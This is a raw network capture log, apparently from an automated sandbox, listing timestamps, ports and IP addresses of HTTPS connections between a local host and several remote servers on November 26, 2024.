Nov 26, 2024 01:41:20.561142921 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.561151028 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.561254978 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.569082022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.569098949 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.569150925 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.569160938 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.569199085 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.569212914 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.574742079 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.574759007 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.577709913 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.577728987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.577774048 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.577781916 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.577811956 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.577832937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.581844091 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.581861019 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.582030058 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.586241961 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.586253881 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.586378098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.586395025 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.586432934 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.586441994 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.586477041 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.586494923 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.611709118 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.611742020 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.611808062 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.611816883 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.611850977 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.611864090 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.617399931 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.617425919 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.617811918 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.618040085 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.618053913 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.618563890 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.618607998 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.618668079 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.618827105 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.618839025 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.619276047 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.619309902 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.619349003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.619355917 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.619394064 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.619415998 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.626832008 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.626854897 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.626899958 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.626909018 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.626946926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.626977921 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.633490086 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.633557081 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.646976948 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.646992922 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.647068977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.647074938 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.647120953 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.655036926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.655060053 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.655112982 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.655119896 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.655163050 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.655183077 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.655996084 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.656009912 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.656094074 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.656097889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.656135082 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.662842989 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.662862062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.662954092 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.662961006 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.662997961 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.664962053 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.664977074 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.665071964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.665076971 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.665124893 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.671842098 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.671859026 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.671962976 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.671969891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.672010899 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.672782898 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.672796965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.672878981 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.672883034 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.672926903 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.680810928 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.680829048 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.680924892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.680932999 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.680979967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.681091070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.681106091 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.681164026 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.681169033 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.681219101 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.689707994 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.689723015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.689831018 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.689837933 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.689881086 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.690035105 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.690048933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.690103054 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.690105915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.690140963 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.698041916 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.698066950 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.698142052 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.698148012 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.698191881 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.698997974 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.699012041 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.699076891 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.699081898 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.699126005 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.707051992 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.707070112 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.707123995 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.707132101 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.707185030 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.727085114 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.727207899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.727749109 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.727793932 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.727801085 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.727838039 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.730350971 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.730377913 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.730437994 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.730454922 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.730475903 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.730498075 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.735547066 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.735564947 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.735656023 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.735663891 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.735706091 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.736906052 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.736922026 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.736994028 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.737004042 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.737047911 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.745166063 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.745186090 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.745261908 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.745271921 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.745311975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.753469944 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.753534079 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.793241024 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.793261051 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.793320894 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.793627977 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:20.793641090 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:20.839370012 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.839437008 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.864593029 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.864615917 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.864671946 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.864682913 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.864732027 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.873383999 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.873400927 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.873445988 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.873454094 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.873498917 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.882144928 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.882205963 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.935205936 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.935244083 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.935331106 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.951874971 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.951893091 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.961143970 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.961163998 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.961258888 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.961477995 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.961487055 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.963329077 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.963399887 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.076028109 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:21.076050997 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:21.076227903 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:21.087332964 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.089251041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.279366970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.279449940 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.379343987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.382810116 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.439435005 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:21.439452887 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:21.507333040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.507400036 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575473070 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575484991 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575498104 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575563908 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575571060 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575587034 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575660944 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575687885 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575706005 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575720072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575809002 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575819016 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575835943 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575849056 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575855017 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.575859070 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.575874090 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.576004982 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.576059103 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611429930 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611450911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611469984 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611583948 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611593008 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611603975 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611684084 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611692905 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611725092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611743927 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611845016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611845016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611855984 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611887932 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611915112 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611922026 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.611958981 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.611972094 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.612207890 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.612207890 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.612731934 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.612914085 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.613672972 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.613842010 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.628046036 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.628062963 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.630249977 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.630261898 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.635749102 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.658611059 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.658617973 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659226894 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659239054 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659250975 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659305096 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659317970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659337044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659435034 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659435034 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659444094 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659462929 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659501076 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659527063 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659537077 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659574032 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659584045 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659610033 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659621954 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659647942 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659656048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659710884 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.659795046 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.659842014 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.663523912 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.663532972 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.663606882 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.663686037 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.663690090 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.663727045 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.663736105 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.663873911 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.664499044 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.664580107 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.670782089 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.670799971 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:21.685108900 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.696273088 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:21.696295977 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:22.115081072 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.116138935 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.116162062 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.116657019 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.116667032 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.230911970 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:22.230954885 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:22.231069088 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:22.231309891 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:22.231336117 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:22.281311989 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.281619072 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.281636000 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.282639027 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.282706976 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.283797979 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.283864021 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.284082890 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.284090042 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.312067032 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.312272072 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.312325954 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.313235998 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.313308954 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.313702106 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.313783884 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.314033985 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.314052105 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.343060970 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.358722925 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.378823042 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.379297972 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.379319906 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.380748987 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.380801916 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.381278038 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.381361008 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.381668091 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.381680012 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.386171103 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.386660099 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.386693954 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.387298107 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.387305975 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.403615952 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:22.403693914 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:22.406203032 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:22.406213999 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:22.406460047 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:22.409090042 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:22.409210920 CET	49737	443	192.168.2.6	20.198.119.84
